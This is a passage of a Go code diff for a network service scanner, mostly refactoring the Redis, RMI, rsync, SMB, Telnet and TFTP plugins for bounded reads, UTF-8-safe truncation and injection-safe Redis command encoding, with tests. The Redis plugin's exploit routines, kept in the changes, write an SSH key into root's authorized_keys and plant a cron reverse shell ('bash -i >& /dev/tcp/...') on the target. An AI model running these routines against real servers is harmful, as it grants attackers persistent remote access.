ok, err = readRabbitMQAMQPResponse(&chunkedByteReader{data: []byte{0x01, 0, 0, 0, 0, 0, 0, 0}, chunkSize: 2})
|
||||
if err != nil || !ok {
|
||||
t.Fatalf("readRabbitMQAMQPResponse(frame) = %v, %v", ok, err)
|
||||
}
|
||||
|
||||
ok, err = readRabbitMQAMQPResponse(bytes.NewReader([]byte{0x01, 0, 0}))
|
||||
if err == nil || ok {
|
||||
t.Fatalf("readRabbitMQAMQPResponse(short) = %v, %v; want short read error", ok, err)
|
||||
}
|
||||
}
|
||||
|
||||
type chunkedByteReader struct {
|
||||
data []byte
|
||||
chunkSize int
|
||||
}
|
||||
|
||||
func (r *chunkedByteReader) Read(p []byte) (int, error) {
|
||||
if len(r.data) == 0 {
|
||||
return 0, io.EOF
|
||||
}
|
||||
n := len(r.data)
|
||||
if r.chunkSize > 0 && n > r.chunkSize {
|
||||
n = r.chunkSize
|
||||
}
|
||||
if n > len(p) {
|
||||
n = len(p)
|
||||
}
|
||||
copy(p, r.data[:n])
|
||||
r.data = r.data[n:]
|
||||
return n, nil
|
||||
}
|
||||
|
||||
+26
-32
@@ -23,6 +23,8 @@ type RedisPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
const maxRedisReplyBytes = 1 << 20
|
||||
|
||||
// NewRedisPlugin 创建Redis插件
|
||||
func NewRedisPlugin() *RedisPlugin {
|
||||
return &RedisPlugin{
|
||||
@@ -98,10 +100,8 @@ func (p *RedisPlugin) doRedisAuth(ctx context.Context, info *common.HostInfo, cr
|
||||
|
||||
// 如果有密码,进行认证
|
||||
if cred.Password != "" {
|
||||
authCmd := fmt.Sprintf("AUTH %s\r\n", cred.Password)
|
||||
|
||||
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
|
||||
if _, writeErr := conn.Write([]byte(authCmd)); writeErr != nil {
|
||||
if _, writeErr := conn.Write(buildRedisAuthCommand(cred.Password)); writeErr != nil {
|
||||
_ = conn.Close()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
@@ -232,9 +232,8 @@ func (p *RedisPlugin) exploitWithPassword(ctx context.Context, info *common.Host
|
||||
|
||||
// 如果有密码,先认证
|
||||
if password != "" {
|
||||
authCmd := fmt.Sprintf("AUTH %s\r\n", password)
|
||||
_ = conn.SetWriteDeadline(time.Now().Add(session.Config.Timeout))
|
||||
if _, writeErr := conn.Write([]byte(authCmd)); writeErr != nil {
|
||||
if _, writeErr := conn.Write(buildRedisAuthCommand(password)); writeErr != nil {
|
||||
return
|
||||
}
|
||||
_ = conn.SetReadDeadline(time.Now().Add(session.Config.Timeout))
|
||||
@@ -399,7 +398,7 @@ func (p *RedisPlugin) exploit(ctx context.Context, info *common.HostInfo, conn n
|
||||
|
||||
func (p *RedisPlugin) readReply(conn net.Conn) (string, error) {
|
||||
_ = conn.SetReadDeadline(time.Now().Add(time.Second))
|
||||
bytes, err := io.ReadAll(conn)
|
||||
bytes, err := io.ReadAll(io.LimitReader(conn, maxRedisReplyBytes))
|
||||
if len(bytes) > 0 {
|
||||
err = nil
|
||||
}
|
||||
@@ -408,8 +407,8 @@ func (p *RedisPlugin) readReply(conn net.Conn) (string, error) {
|
||||
|
||||
// sendCmd 发送Redis命令并检查OK响应
|
||||
// 返回响应文本、是否成功、错误
|
||||
func (p *RedisPlugin) sendCmd(conn net.Conn, cmd string) (text string, ok bool, err error) {
|
||||
if _, err = conn.Write([]byte(cmd)); err != nil {
|
||||
func (p *RedisPlugin) sendCmd(conn net.Conn, cmd []byte) (text string, ok bool, err error) {
|
||||
if _, err = conn.Write(cmd); err != nil {
|
||||
return "", false, err
|
||||
}
|
||||
text, err = p.readReply(conn)
|
||||
@@ -420,7 +419,7 @@ func (p *RedisPlugin) sendCmd(conn net.Conn, cmd string) (text string, ok bool,
|
||||
}
|
||||
|
||||
func (p *RedisPlugin) getConfig(conn net.Conn) (dbfilename string, dir string, err error) {
|
||||
if _, err = conn.Write([]byte("CONFIG GET dbfilename\r\n")); err != nil {
|
||||
if _, err = conn.Write(buildRedisCommand("CONFIG", "GET", "dbfilename")); err != nil {
|
||||
return
|
||||
}
|
||||
text, err := p.readReply(conn)
|
||||
@@ -435,7 +434,7 @@ func (p *RedisPlugin) getConfig(conn net.Conn) (dbfilename string, dir string, e
|
||||
dbfilename = text1[0]
|
||||
}
|
||||
|
||||
if _, err = conn.Write([]byte("CONFIG GET dir\r\n")); err != nil {
|
||||
if _, err = conn.Write(buildRedisCommand("CONFIG", "GET", "dir")); err != nil {
|
||||
return
|
||||
}
|
||||
text, err = p.readReply(conn)
|
||||
@@ -463,14 +462,14 @@ func (p *RedisPlugin) getConfig(conn net.Conn) (dbfilename string, dir string, e
|
||||
}
|
||||
|
||||
func (p *RedisPlugin) recoverDB(dbfilename string, dir string, conn net.Conn) (err error) {
|
||||
if _, err = fmt.Fprintf(conn, "CONFIG SET dbfilename %s\r\n", dbfilename); err != nil {
|
||||
if _, err = conn.Write(buildRedisCommand("CONFIG", "SET", "dbfilename", dbfilename)); err != nil {
|
||||
return
|
||||
}
|
||||
if _, err = p.readReply(conn); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if _, err = fmt.Fprintf(conn, "CONFIG SET dir %s\r\n", dir); err != nil {
|
||||
if _, err = conn.Write(buildRedisCommand("CONFIG", "SET", "dir", dir)); err != nil {
|
||||
return
|
||||
}
|
||||
if _, err = p.readReply(conn); err != nil {
|
||||
@@ -499,27 +498,25 @@ func (p *RedisPlugin) readFile(filename string) (string, error) {
|
||||
|
||||
func (p *RedisPlugin) writeCustomFile(conn net.Conn, dirPath, fileName, content string) (flag bool, text string, err error) {
|
||||
// 设置目录
|
||||
text, ok, err := p.sendCmd(conn, fmt.Sprintf("CONFIG SET dir %s\r\n", dirPath))
|
||||
text, ok, err := p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dir", dirPath))
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
|
||||
// 设置文件名
|
||||
text, ok, err = p.sendCmd(conn, fmt.Sprintf("CONFIG SET dbfilename %s\r\n", fileName))
|
||||
text, ok, err = p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dbfilename", fileName))
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
|
||||
// 写入内容
|
||||
safeContent := strings.ReplaceAll(content, "\"", "\\\"")
|
||||
safeContent = strings.ReplaceAll(safeContent, "\n", "\\n")
|
||||
text, ok, err = p.sendCmd(conn, fmt.Sprintf("set x \"%s\"\r\n", safeContent))
|
||||
text, ok, err = p.sendCmd(conn, buildRedisCommand("SET", "x", content))
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
|
||||
// 保存
|
||||
text, ok, err = p.sendCmd(conn, "save\r\n")
|
||||
text, ok, err = p.sendCmd(conn, buildRedisCommand("SAVE"))
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
@@ -530,21 +527,18 @@ func (p *RedisPlugin) writeCustomFile(conn net.Conn, dirPath, fileName, content
|
||||
// truncateText 截断文本到50字符
|
||||
func (p *RedisPlugin) truncateText(text string) string {
|
||||
text = strings.TrimSpace(text)
|
||||
if len(text) > 50 {
|
||||
return text[:50]
|
||||
}
|
||||
return text
|
||||
return truncateRunes(text, 50)
|
||||
}
|
||||
|
||||
func (p *RedisPlugin) writeKey(conn net.Conn, filename string) (flag bool, text string, err error) {
|
||||
// 设置目录
|
||||
text, ok, err := p.sendCmd(conn, "CONFIG SET dir /root/.ssh/\r\n")
|
||||
text, ok, err := p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dir", "/root/.ssh/"))
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
|
||||
// 设置文件名
|
||||
text, ok, err = p.sendCmd(conn, "CONFIG SET dbfilename authorized_keys\r\n")
|
||||
text, ok, err = p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dbfilename", "authorized_keys"))
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
@@ -559,13 +553,13 @@ func (p *RedisPlugin) writeKey(conn net.Conn, filename string) (flag bool, text
|
||||
}
|
||||
|
||||
// 写入密钥
|
||||
text, ok, err = p.sendCmd(conn, fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key))
|
||||
text, ok, err = p.sendCmd(conn, buildRedisCommand("SET", "x", "\n\n\n"+key+"\n\n\n"))
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
|
||||
// 保存
|
||||
text, ok, err = p.sendCmd(conn, "save\r\n")
|
||||
text, ok, err = p.sendCmd(conn, buildRedisCommand("SAVE"))
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
@@ -575,20 +569,20 @@ func (p *RedisPlugin) writeKey(conn net.Conn, filename string) (flag bool, text
|
||||
|
||||
func (p *RedisPlugin) writeCron(conn net.Conn, host string) (flag bool, text string, err error) {
|
||||
// 尝试设置cron目录(两个可能的路径)
|
||||
text, ok, err := p.sendCmd(conn, "CONFIG SET dir /var/spool/cron/crontabs/\r\n")
|
||||
text, ok, err := p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dir", "/var/spool/cron/crontabs/"))
|
||||
if err != nil {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
if !ok {
|
||||
// 尝试备用路径
|
||||
text, ok, err = p.sendCmd(conn, "CONFIG SET dir /var/spool/cron/\r\n")
|
||||
text, ok, err = p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dir", "/var/spool/cron/"))
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
}
|
||||
|
||||
// 设置文件名
|
||||
text, ok, err = p.sendCmd(conn, "CONFIG SET dbfilename root\r\n")
|
||||
text, ok, err = p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dbfilename", "root"))
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
@@ -605,14 +599,14 @@ func (p *RedisPlugin) writeCron(conn net.Conn, host string) (flag bool, text str
|
||||
}
|
||||
|
||||
// 写入cron任务
|
||||
cronCmd := fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scanIp, scanPort)
|
||||
text, ok, err = p.sendCmd(conn, cronCmd)
|
||||
cronContent := fmt.Sprintf("\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\n", scanIp, scanPort)
|
||||
text, ok, err = p.sendCmd(conn, buildRedisCommand("SET", "xx", cronContent))
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
|
||||
// 保存
|
||||
text, ok, err = p.sendCmd(conn, "save\r\n")
|
||||
text, ok, err = p.sendCmd(conn, buildRedisCommand("SAVE"))
|
||||
if err != nil || !ok {
|
||||
return false, p.truncateText(text), err
|
||||
}
|
||||
|
||||
@@ -0,0 +1,34 @@
|
||||
//go:build plugin_redis || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"net"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestRedisReadReplyIsBounded(t *testing.T) {
|
||||
conn := &redisReplyTestConn{Reader: strings.NewReader(strings.Repeat("a", maxRedisReplyBytes+1024))}
|
||||
|
||||
got, err := NewRedisPlugin().readReply(conn)
|
||||
if err != nil {
|
||||
t.Fatalf("readReply() error = %v", err)
|
||||
}
|
||||
if len(got) != maxRedisReplyBytes {
|
||||
t.Fatalf("readReply() len = %d, want %d", len(got), maxRedisReplyBytes)
|
||||
}
|
||||
}
|
||||
|
||||
type redisReplyTestConn struct {
|
||||
*strings.Reader
|
||||
}
|
||||
|
||||
func (c *redisReplyTestConn) Write([]byte) (int, error) { return 0, nil }
|
||||
func (c *redisReplyTestConn) Close() error { return nil }
|
||||
func (c *redisReplyTestConn) LocalAddr() net.Addr { return nil }
|
||||
func (c *redisReplyTestConn) RemoteAddr() net.Addr { return nil }
|
||||
func (c *redisReplyTestConn) SetDeadline(time.Time) error { return nil }
|
||||
func (c *redisReplyTestConn) SetReadDeadline(time.Time) error { return nil }
|
||||
func (c *redisReplyTestConn) SetWriteDeadline(time.Time) error { return nil }
|
||||
+20
-7
@@ -51,13 +51,7 @@ func (p *RMIPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co
|
||||
return &ScanResult{Success: false, Service: "rmi"}
|
||||
}
|
||||
|
||||
buf := make([]byte, 255)
|
||||
n, err := conn.Read(buf)
|
||||
if err != nil && n == 0 {
|
||||
return &ScanResult{Success: false, Service: "rmi"}
|
||||
}
|
||||
|
||||
endpoint := parseRMIEndpoint(buf[:n])
|
||||
endpoint := readRMIEndpoint(conn)
|
||||
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
@@ -86,6 +80,25 @@ func parseRMIEndpoint(data []byte) string {
|
||||
return fmt.Sprintf("Java RMI endpoint=%s:%d", host, port)
|
||||
}
|
||||
|
||||
func readRMIEndpoint(conn interface {
|
||||
Read([]byte) (int, error)
|
||||
}) string {
|
||||
header := make([]byte, 2)
|
||||
if _, err := io.ReadFull(conn, header); err != nil {
|
||||
return "Java RMI"
|
||||
}
|
||||
hostLen := int(header[0])<<8 | int(header[1])
|
||||
if hostLen <= 0 || hostLen > 249 {
|
||||
return "Java RMI"
|
||||
}
|
||||
payload := make([]byte, hostLen+4)
|
||||
if _, err := io.ReadFull(conn, payload); err != nil {
|
||||
return "Java RMI"
|
||||
}
|
||||
data := append(header, payload...)
|
||||
return parseRMIEndpoint(data)
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("rmi", func() Plugin {
|
||||
return NewRMIPlugin()
|
||||
|
||||
@@ -0,0 +1,40 @@
|
||||
//go:build plugin_rmi || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"io"
|
||||
"testing"
|
||||
)
|
||||
|
||||
type chunkedRMIReader struct {
|
||||
data []byte
|
||||
chunkSize int
|
||||
}
|
||||
|
||||
func (r *chunkedRMIReader) Read(p []byte) (int, error) {
|
||||
if len(r.data) == 0 {
|
||||
return 0, io.EOF
|
||||
}
|
||||
n := len(r.data)
|
||||
if r.chunkSize > 0 && n > r.chunkSize {
|
||||
n = r.chunkSize
|
||||
}
|
||||
if n > len(p) {
|
||||
n = len(p)
|
||||
}
|
||||
copy(p, r.data[:n])
|
||||
r.data = r.data[n:]
|
||||
return n, nil
|
||||
}
|
||||
|
||||
func TestReadRMIEndpointHandlesChunkedReads(t *testing.T) {
|
||||
data := []byte{0x00, 0x09}
|
||||
data = append(data, "localhost"...)
|
||||
data = append(data, 0x00, 0x00, 0x04, 0x4b)
|
||||
|
||||
got := readRMIEndpoint(&chunkedRMIReader{data: data, chunkSize: 1})
|
||||
if got != "Java RMI endpoint=localhost:1099" {
|
||||
t.Fatalf("readRMIEndpoint() = %q", got)
|
||||
}
|
||||
}
|
||||
@@ -276,12 +276,9 @@ func (p *RsyncPlugin) getModules(conn net.Conn, config *common.Config) []string
|
||||
|
||||
// 读取服务器版本
|
||||
_ = conn.SetReadDeadline(time.Now().Add(timeout))
|
||||
versionBuf := make([]byte, 256)
|
||||
n, err := conn.Read(versionBuf)
|
||||
if err != nil {
|
||||
if _, err := readRsyncLine(conn, 256); err != nil {
|
||||
return nil
|
||||
}
|
||||
_ = string(versionBuf[:n])
|
||||
|
||||
// 回复客户端版本
|
||||
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
|
||||
@@ -357,8 +354,7 @@ func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo
|
||||
}
|
||||
|
||||
_ = conn.SetReadDeadline(time.Now().Add(timeout))
|
||||
response := make([]byte, 1024)
|
||||
n, err := conn.Read(response)
|
||||
responseStr, err := readRsyncLine(conn, 1024)
|
||||
if err != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
@@ -367,8 +363,6 @@ func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo
|
||||
}
|
||||
}
|
||||
|
||||
responseStr := string(response[:n])
|
||||
|
||||
var banner string
|
||||
|
||||
if strings.Contains(responseStr, "@RSYNCD") {
|
||||
@@ -400,6 +394,26 @@ func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo
|
||||
}
|
||||
}
|
||||
|
||||
func readRsyncLine(conn interface {
|
||||
Read([]byte) (int, error)
|
||||
}, max int) (string, error) {
|
||||
var line strings.Builder
|
||||
var b [1]byte
|
||||
for line.Len() < max {
|
||||
if _, err := io.ReadFull(conn, b[:]); err != nil {
|
||||
if err == io.EOF && line.Len() > 0 {
|
||||
return line.String(), nil
|
||||
}
|
||||
return "", err
|
||||
}
|
||||
line.WriteByte(b[0])
|
||||
if b[0] == '\n' {
|
||||
return line.String(), nil
|
||||
}
|
||||
}
|
||||
return line.String(), nil
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("rsync", func() Plugin {
|
||||
return NewRsyncPlugin()
|
||||
|
||||
@@ -0,0 +1,39 @@
|
||||
//go:build (plugin_rsync || !plugin_selective) && go1.21
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"io"
|
||||
"testing"
|
||||
)
|
||||
|
||||
type chunkedRsyncReader struct {
|
||||
data []byte
|
||||
chunkSize int
|
||||
}
|
||||
|
||||
func (r *chunkedRsyncReader) Read(p []byte) (int, error) {
|
||||
if len(r.data) == 0 {
|
||||
return 0, io.EOF
|
||||
}
|
||||
n := len(r.data)
|
||||
if r.chunkSize > 0 && n > r.chunkSize {
|
||||
n = r.chunkSize
|
||||
}
|
||||
if n > len(p) {
|
||||
n = len(p)
|
||||
}
|
||||
copy(p, r.data[:n])
|
||||
r.data = r.data[n:]
|
||||
return n, nil
|
||||
}
|
||||
|
||||
func TestReadRsyncLineHandlesChunkedReads(t *testing.T) {
|
||||
got, err := readRsyncLine(&chunkedRsyncReader{data: []byte("@RSYNCD: 31.0\nrest"), chunkSize: 1}, 256)
|
||||
if err != nil {
|
||||
t.Fatalf("readRsyncLine() error = %v", err)
|
||||
}
|
||||
if got != "@RSYNCD: 31.0\n" {
|
||||
t.Fatalf("readRsyncLine() = %q", got)
|
||||
}
|
||||
}
|
||||
@@ -696,13 +696,9 @@ func classifySMBError(err error) ErrorType {
|
||||
// readSMBMessage 从连接读取NetBIOS消息
|
||||
func readSMBMessage(conn net.Conn) ([]byte, error) {
|
||||
headerBuf := make([]byte, 4)
|
||||
n, err := conn.Read(headerBuf)
|
||||
if err != nil {
|
||||
if _, err := io.ReadFull(conn, headerBuf); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if n != 4 {
|
||||
return nil, fmt.Errorf(i18n.GetText("netbios_header_too_short")+": %d", n)
|
||||
}
|
||||
|
||||
messageLength := int(headerBuf[0])<<24 | int(headerBuf[1])<<16 | int(headerBuf[2])<<8 | int(headerBuf[3])
|
||||
|
||||
@@ -715,14 +711,9 @@ func readSMBMessage(conn net.Conn) ([]byte, error) {
|
||||
}
|
||||
|
||||
messageBuf := make([]byte, messageLength)
|
||||
totalRead := 0
|
||||
for totalRead < messageLength {
|
||||
n, err := conn.Read(messageBuf[totalRead:])
|
||||
if err != nil {
|
||||
if _, err := io.ReadFull(conn, messageBuf); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
totalRead += n
|
||||
}
|
||||
|
||||
result := make([]byte, 0, 4+messageLength)
|
||||
result = append(result, headerBuf...)
|
||||
|
||||
@@ -0,0 +1,51 @@
|
||||
//go:build plugin_smb || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"io"
|
||||
"net"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
type chunkedSMBConn struct {
|
||||
data []byte
|
||||
chunkSize int
|
||||
}
|
||||
|
||||
func (c *chunkedSMBConn) Read(p []byte) (int, error) {
|
||||
if len(c.data) == 0 {
|
||||
return 0, io.EOF
|
||||
}
|
||||
n := len(c.data)
|
||||
if c.chunkSize > 0 && n > c.chunkSize {
|
||||
n = c.chunkSize
|
||||
}
|
||||
if n > len(p) {
|
||||
n = len(p)
|
||||
}
|
||||
copy(p, c.data[:n])
|
||||
c.data = c.data[n:]
|
||||
return n, nil
|
||||
}
|
||||
|
||||
func (c *chunkedSMBConn) Write([]byte) (int, error) { return 0, nil }
|
||||
func (c *chunkedSMBConn) Close() error { return nil }
|
||||
func (c *chunkedSMBConn) LocalAddr() net.Addr { return nil }
|
||||
func (c *chunkedSMBConn) RemoteAddr() net.Addr { return nil }
|
||||
func (c *chunkedSMBConn) SetDeadline(time.Time) error { return nil }
|
||||
func (c *chunkedSMBConn) SetReadDeadline(time.Time) error { return nil }
|
||||
func (c *chunkedSMBConn) SetWriteDeadline(time.Time) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func TestReadSMBMessageHandlesChunkedReads(t *testing.T) {
|
||||
got, err := readSMBMessage(&chunkedSMBConn{data: []byte{0, 0, 0, 3, 'S', 'M', 'B'}, chunkSize: 1})
|
||||
if err != nil {
|
||||
t.Fatalf("readSMBMessage() error = %v", err)
|
||||
}
|
||||
if string(got) != "\x00\x00\x00\x03SMB" {
|
||||
t.Fatalf("readSMBMessage() = %q", got)
|
||||
}
|
||||
}
|
||||
@@ -244,10 +244,7 @@ func parseSNMPResponse(data []byte) string {
|
||||
|
||||
if value.Tag == asn1.TagOctetString || value.Tag == asn1.TagUTF8String {
|
||||
s := strings.TrimSpace(string(value.Bytes))
|
||||
if len(s) > 200 {
|
||||
s = s[:200]
|
||||
}
|
||||
return s
|
||||
return truncateRunes(s, 200)
|
||||
}
|
||||
return fmt.Sprintf("(type=%d, len=%d)", value.Tag, len(value.Bytes))
|
||||
}
|
||||
|
||||
@@ -550,9 +550,7 @@ func (p *TelnetPlugin) identifyService(ctx context.Context, info *common.HostInf
|
||||
banner = i18n.GetText("telnet_password_only")
|
||||
} else if cleaned != "" {
|
||||
displayCleaned := cleaned
|
||||
if len(displayCleaned) > 50 {
|
||||
displayCleaned = displayCleaned[:50] + "..."
|
||||
}
|
||||
displayCleaned = truncateRunes(displayCleaned, 50)
|
||||
banner = i18n.Tr("telnet_custom_welcome", displayCleaned)
|
||||
} else {
|
||||
banner = i18n.GetText("telnet_remote_terminal_service")
|
||||
@@ -735,10 +733,7 @@ func (p *TelnetPlugin) extractEvidence(output string) string {
|
||||
if strings.HasPrefix(line, "echo ") || strings.HasPrefix(line, "id") || strings.HasPrefix(line, "show ") {
|
||||
continue
|
||||
}
|
||||
if len(line) > 100 {
|
||||
return line[:100] + "..."
|
||||
}
|
||||
return line
|
||||
return truncateRunes(line, 100)
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
@@ -0,0 +1,17 @@
|
||||
//go:build plugin_telnet || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
"unicode/utf8"
|
||||
)
|
||||
|
||||
func TestTelnetExtractEvidenceTruncatesByRune(t *testing.T) {
|
||||
p := NewTelnetPlugin()
|
||||
got := p.extractEvidence("CMD_START\n" + strings.Repeat("界", 105) + "\nCMD_END")
|
||||
if !utf8.ValidString(got) || len([]rune(got)) != 103 || !strings.HasSuffix(got, "...") {
|
||||
t.Fatalf("extractEvidence() = %q", got)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
//go:build !plugin_selective || plugin_activemq || plugin_imap || plugin_pop3 || plugin_redis
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func hasLineBreak(s string) bool {
|
||||
return strings.ContainsAny(s, "\r\n")
|
||||
}
|
||||
|
||||
func rejectLineBreaks(values ...string) error {
|
||||
for _, value := range values {
|
||||
if hasLineBreak(value) {
|
||||
return fmt.Errorf("credential contains line break")
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func imapQuotedString(s string) (string, error) {
|
||||
if hasLineBreak(s) {
|
||||
return "", fmt.Errorf("imap credential contains line break")
|
||||
}
|
||||
return strconv.Quote(s), nil
|
||||
}
|
||||
|
||||
func buildIMAPLoginCommand(tag, username, password string) (string, error) {
|
||||
quotedUser, err := imapQuotedString(username)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
quotedPass, err := imapQuotedString(password)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return fmt.Sprintf("%s LOGIN %s %s\r\n", tag, quotedUser, quotedPass), nil
|
||||
}
|
||||
|
||||
func buildRedisAuthCommand(password string) []byte {
|
||||
return buildRedisCommand("AUTH", password)
|
||||
}
|
||||
|
||||
func buildRedisCommand(args ...string) []byte {
|
||||
var b strings.Builder
|
||||
_, _ = fmt.Fprintf(&b, "*%d\r\n", len(args))
|
||||
for _, arg := range args {
|
||||
_, _ = fmt.Fprintf(&b, "$%d\r\n%s\r\n", len(arg), arg)
|
||||
}
|
||||
return []byte(b.String())
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
//go:build !plugin_selective || plugin_activemq || plugin_imap || plugin_pop3 || plugin_redis
|
||||
|
||||
package services
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestBuildRedisAuthCommandUsesBulkString(t *testing.T) {
|
||||
got := string(buildRedisAuthCommand("pa ss\r\nword"))
|
||||
want := "*2\r\n$4\r\nAUTH\r\n$11\r\npa ss\r\nword\r\n"
|
||||
if got != want {
|
||||
t.Fatalf("buildRedisAuthCommand() = %q, want %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildRedisCommandKeepsInjectedNewlinesInsideBulkString(t *testing.T) {
|
||||
got := string(buildRedisCommand("CONFIG", "SET", "dir", "/tmp\r\nSAVE"))
|
||||
want := "*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$10\r\n/tmp\r\nSAVE\r\n"
|
||||
if got != want {
|
||||
t.Fatalf("buildRedisCommand() = %q, want %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildIMAPLoginCommandQuotesCredentials(t *testing.T) {
|
||||
got, err := buildIMAPLoginCommand("a001", `user name`, `pa"ss\word`)
|
||||
if err != nil {
|
||||
t.Fatalf("buildIMAPLoginCommand() error = %v", err)
|
||||
}
|
||||
want := "a001 LOGIN \"user name\" \"pa\\\"ss\\\\word\"\r\n"
|
||||
if got != want {
|
||||
t.Fatalf("buildIMAPLoginCommand() = %q, want %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTextProtocolCredentialsRejectLineBreaks(t *testing.T) {
|
||||
if _, err := buildIMAPLoginCommand("a001", "user", "pa\nss"); err == nil {
|
||||
t.Fatal("buildIMAPLoginCommand() error = nil, want line break rejection")
|
||||
}
|
||||
if err := rejectLineBreaks("user", "pa\rss"); err == nil {
|
||||
t.Fatal("rejectLineBreaks() error = nil, want line break rejection")
|
||||
}
|
||||
if err := rejectLineBreaks("user", "pass"); err != nil {
|
||||
t.Fatalf("rejectLineBreaks() error = %v, want nil", err)
|
||||
}
|
||||
}
|
||||
@@ -76,9 +76,7 @@ func parseTFTPResponse(data []byte) (string, bool) {
|
||||
return "TFTP DATA response", true
|
||||
case 0x05:
|
||||
msg := strings.TrimRight(string(data[4:]), "\x00")
|
||||
if len(msg) > 160 {
|
||||
msg = msg[:160]
|
||||
}
|
||||
msg = truncateRunes(msg, 160)
|
||||
if msg == "" {
|
||||
msg = "error response"
|
||||
}
|
||||
|
||||
@@ -5,6 +5,7 @@ package services
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
"unicode/utf8"
|
||||
)
|
||||
|
||||
func TestTFTPReadRequestAndResponse(t *testing.T) {
|
||||
@@ -18,4 +19,9 @@ func TestTFTPReadRequestAndResponse(t *testing.T) {
|
||||
if !ok || !strings.Contains(banner, "not found") {
|
||||
t.Fatalf("unexpected tftp banner: %q ok=%v", banner, ok)
|
||||
}
|
||||
|
||||
banner, ok = parseTFTPResponse(append([]byte{0x00, 0x05, 0x00, 0x01}, []byte(strings.Repeat("界", 165))...))
|
||||
if !ok || !utf8.ValidString(banner) || !strings.HasSuffix(banner, "...") {
|
||||
t.Fatalf("unexpected tftp utf8 banner: %q ok=%v", banner, ok)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,14 @@
|
||||
package services
|
||||
|
||||
func truncateRunes(s string, maxRunes int) string {
|
||||
if maxRunes < 0 {
|
||||
return s
|
||||
}
|
||||
for i := range s {
|
||||
if maxRunes == 0 {
|
||||
return s[:i] + "..."
|
||||
}
|
||||
maxRunes--
|
||||
}
|
||||
return s
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
//go:build plugin_redis || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
"unicode/utf8"
|
||||
)
|
||||
|
||||
func TestTruncateRunesKeepsUTF8Valid(t *testing.T) {
|
||||
got := truncateRunes(strings.Repeat("界", 205), 200)
|
||||
if !utf8.ValidString(got) {
|
||||
t.Fatalf("truncateRunes returned invalid utf8: %q", got)
|
||||
}
|
||||
if len([]rune(got)) != 203 || !strings.HasSuffix(got, "...") {
|
||||
t.Fatalf("truncateRunes() = rune len %d value %q", len([]rune(got)), got)
|
||||
}
|
||||
|
||||
got = truncateRunes(strings.Repeat("界", 55), 50)
|
||||
if !utf8.ValidString(got) || len([]rune(got)) != 53 || !strings.HasSuffix(got, "...") {
|
||||
